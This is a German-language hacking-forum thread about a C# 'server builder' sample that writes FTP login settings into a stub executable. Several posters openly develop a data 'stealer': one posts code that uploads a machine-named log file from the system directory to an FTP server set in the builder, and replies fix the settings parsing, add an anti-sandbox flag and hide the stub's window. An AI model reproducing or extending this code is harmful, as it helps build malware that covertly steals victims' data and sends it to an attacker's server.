Screenshot:
Beschreibung:
Kleines Server Builder sample wie gewohnt alles Schritt für Schritt kommentiert
Download:
[ame]http://rapidshare.com/files/352106443/C__-_Server_Builder.rar[/ame]
MfG
Screenshot:
Beschreibung:
Kleines Server Builder sample wie gewohnt alles Schritt für Schritt kommentiert
Download:
[ame]http://rapidshare.com/files/352106443/C__-_Server_Builder.rar[/ame]
MfG
Geändert von Sawyer (18.02.2010 um 00:28 Uhr)
Echt super teil aber ich hab ein Problem!
Ich ersetze den MessageBox.Show request einfach mit dem folgenden code:
Nur nach dem ich das Teil durch den Builder geschickt hab scheisst die server.exe ab.Code:System.Net.FtpWebRequest request = (System.Net.FtpWebRequest)System.Net.WebRequest.Create("ftp://" + settingsSplit[0] + "//" + System.Environment.MachineName + ".log"); request.Method = System.Net.WebRequestMethods.Ftp.UploadFile; request.Credentials = new System.Net.NetworkCredential(settingsSplit[1], settingsSplit[2]); FileStream stream = File.OpenRead(Environment.SystemDirectory + "\\" + System.Environment.MachineName + ".log"); byte[] buffer = new byte[stream.Length]; stream.Read(buffer, 0, buffer.Length); stream.Close(); Stream requestStream = request.GetRequestStream(); requestStream.Write(buffer, 0, buffer.Length); requestStream.Close();
Ich bin mir sicher dass ich die richtigen Daten zum FTP login in den Builder eingegeben hab.
Habs bestimmt jetzt schon 10 mal probiert und es klappt NIE!
Die Datei ist auch vorhanden die er auslesen soll.
Alles klappt wenn ich die Daten per Hand eingebe.
Aber sobald ich sie versuch durch den Builder zu holen klappt nichts mehr!
Woran liegts???
Geändert von Andybritten (27.04.2009 um 22:57 Uhr)
Warum es nicht geht kann ich dir leider nicht sagen , ich kann der aber sagen wie es zu Lösen ist
mach aus der Stub einfach eine Windows Forms-Anwendung , dann funktioniert es^^
mit this.Visible = false; kannst du die Form versteckt starten Lassen
MfG
Ich glaub ich habe den fehler gefunden.
Er scheint im Builder zu stecken:
Mach aus:
Einfach:Code:Einstellungen.Value = Server + "_" + Benutzer + "_" + Passwort
Hab mir gedacht dass der vielleicht das passwort falsch abschneidet oder so und hab ans ende noch ein Trennzeichen gehangen.Code:Einstellungen.Value = Server + "_" + Benutzer + "_" + Passwort + "_";
Und jetzt klappts
Vielleicht hab ich euch ja ein wenig helfen können!
Auf jedenfall bekommst du dicke credits in meinem stealer papst
Wäre jetzt noch sehr nett wenn du dich mal um meinen request den ich dir per PN geschickt hatte kümmern könntest (natürlich nur wenn du lust und zeit hast).
Werds mir morgen auch mal laden. Sieht viel versprechend aus xD
Kann man auch irgendwie Boolean werte auf diese art und weise übertragen?
Oder wie übeträgst du die bool werte?
Zum Beispiel:
Wenn checkbox1 = checked dann bool antisanboxy = true
Ein Boolean sollte ebenfalls über die selbe methode übergeben werden könnenWenn checkbox1 = checked dann bool antisanboxy = true
kann sein das es als String Konvertiert werden muss um es in die Einstellung,s Variable schreiben zu können
aber dann ist es kein Problem , dann kannst du es bei der stub auch normal auslesen^^
Beispiel:
Nicht getestet , aber müsste so richtig sein , wie schon gesagt , wenn du es bei der Stub splittest , kannst du es ja an eine Bool variable übergeben , und dann die werte abfragenCode:Einstellungen.Value = Server + "_" + Benutzer + "_" + Passwort + "_" + Convert.ToString(checkbox1.checked) + "_";
MfG
Geändert von Sawyer (29.04.2009 um 12:16 Uhr)
Nah ich habs "enfacher" gemacht.
Alle bools in strings umgeschrieben und dann deren werte gecheckt.
Fertig
EDIT:
OK hab jetzt meinen eigenen Builder gebaut.
Also deiner ist nice für precompilte dateien aber da ich ja in .net programmiere kann man auch die vorz+ge von .net ausnutzen.
Undzwar dass .net eine JIT sprache ist
Ich compile den server jetzt direkt im builder drin
Geändert von Andybritten (30.04.2009 um 21:06 Uhr)
Wenn du damit sagen willst , das du es zur Laufzeit Compilieren lässt , dann ist das natürlich möglich , jedoch hast du dann keine Stub , und der User kann diese nicht "bearbeiten"Ich compile den server jetzt direkt im builder drin
aber wenn es funktioniert bitte , ist deine Sache Ich hab es bewusst so umgesetzt^^
MfG
Geändert von Sawyer (05.05.2009 um 06:55 Uhr)
Naja sagen wirs so...
Ne stub kann mans nicht mehr nennen aber der User kann die "pseudo stub" trotzdem "bearbeiten"
Aber ist ja egal.
Super C# Beispiel trotzdem!!!